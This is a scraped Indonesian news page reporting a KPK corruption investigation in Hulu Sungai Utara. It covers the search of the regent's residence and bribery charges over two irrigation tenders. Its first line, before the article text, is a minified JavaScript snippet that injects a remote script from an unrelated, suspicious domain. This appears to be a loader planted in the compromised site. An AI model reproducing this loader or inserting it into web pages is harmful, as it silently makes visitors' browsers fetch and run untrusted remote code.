(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI-Operasi tangkap tangan (OTT) yang dilakukan Komisi Pemberantasan Korupsi (KPK) beberapa waktu lalu, yang menetapkan tiga orang tersangka, terus bergulir. Kali ini KPK berlanjut melakukan penggeledahan ruang kerja dan rumah dinas Bupati HSU.
Penggeledahan rumah dinas tersebut dibantu delapan personel Polres HSU. “Kita khusus pengamanan saja, dan personel yang turun khusus (Polres) HSU,” ujar Kabag Ops Polda Kalsel, Kombes Pol Moch Noor Subchan saat dikonfirmasi, Minggu (19/9/2021).
Jumlah personel yang diturunkan sesuai permintaan KPK.
“Kegiatan dilakukan dari pukul 14.30 Wita,” paparnya.
Sementara itu, saat penggeledahan Bupati Wahid dikabarkan berada di rumah dinas. Belum ada komentar dari pihak pemerintah maupun bupati terkait aksi penggeledahan oleh KPK tersebut.
Baca juga : BREAKING NEWS. Pasca OTT KPK di HSU, Giliran Rumdin Bupati Digeledah Tim KPK
Sebelumnya, KPK menetapkan Plt Kadis Pekerjaan Umum (PU) Pemkab Hulu Sungai Utara (HSU) Maliki sebagai tersangka kasus korupsi. Maliki ditetapkan sebagai tersangka kasus dugaan suap terkait pengadaan proyek irigasi.
” KPK meningkatkan status perkara ini ke tahap penyidikan dengan menetapkan tersangka sebagai berikut, MK (Maliki) Plt Kadis PU pada Dinas PUPR Kabupaten Hulu Sungai Utara sekaligus KPA dan PPK, dan MRH (Marhaini) pihak swasta selaku pemberi dan FA (Fachriadi) pihak swasta,” kata Wakil Ketua KPK Alexander Marwata dalam konferensi persnya, Kamis (16/9/2021) malam.
Marhaini dan Fachriadi selaku pihak Pemberi disangkakan melanggar Pasal 5 ayat 1 huruf a atau b, atau Pasal 13 UU KPK juncto Pasal 65 KUHP. Maliki selaku penerima disangkakan melanggar Pasal 12 huruf a atau b atau pasal 11 UU KPK juncto Pasal 64 dan Pasal 65 KUHP.
Berdasar konstruksi kasus yang dipaparkan KPK, Dinas PU Hulu Sungai Utara melakukan lelang 2 proyek irigasi yang masing-masing nilainya Rp 1,9 miliar dan Rp 1,5 miliar.
Baca juga : Ditabrak Motor, Perempuan Tua Patah Kaki Saat Menyeberang di Jl A Yani Gambut
Maliki diduga telah lebih dulu memberikan persyaratan lelang pada Marhaini dan Fachriadi sebagai calon pemenang kedua proyek irigasi dimaksud, dengan kesepakatan memberikan sejumlah uang komitmen fee sebesar 15 persen dari nilai proyek.
Hasilnya, perusahaan milik Marhaini, CV Hanamas, memenangkan proyek irigasi dimaksud yang nilainya Rp 1,9 miliar. Sedangkan perusahaan milik Fachriadi, CV Kalpataru, memenangkan tender proyek irigasi yang nilai Rp 1,5 miliar.
Sebagai kesepakatan komitmen fee 15 persen, Maliki kemudian menerima uang sebesar Rp 170 juta dan Rp 175 juta dalam bentuk tunai.
Untuk proses penyidikan, KPK menahan Maliki di Rutan KPK cabang Pomdam Jaya Guntur. Sedangkan Marhaini dan Fachriadi ditahan di Rutan KPK Gedung Merah Putih. Ketiganya ditahan selama 20 ke depan, terhitung mulai hari ini hingga 5 Oktober 2021. (Kanalkalimantan.com/chandra)
Reporter : chandra
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.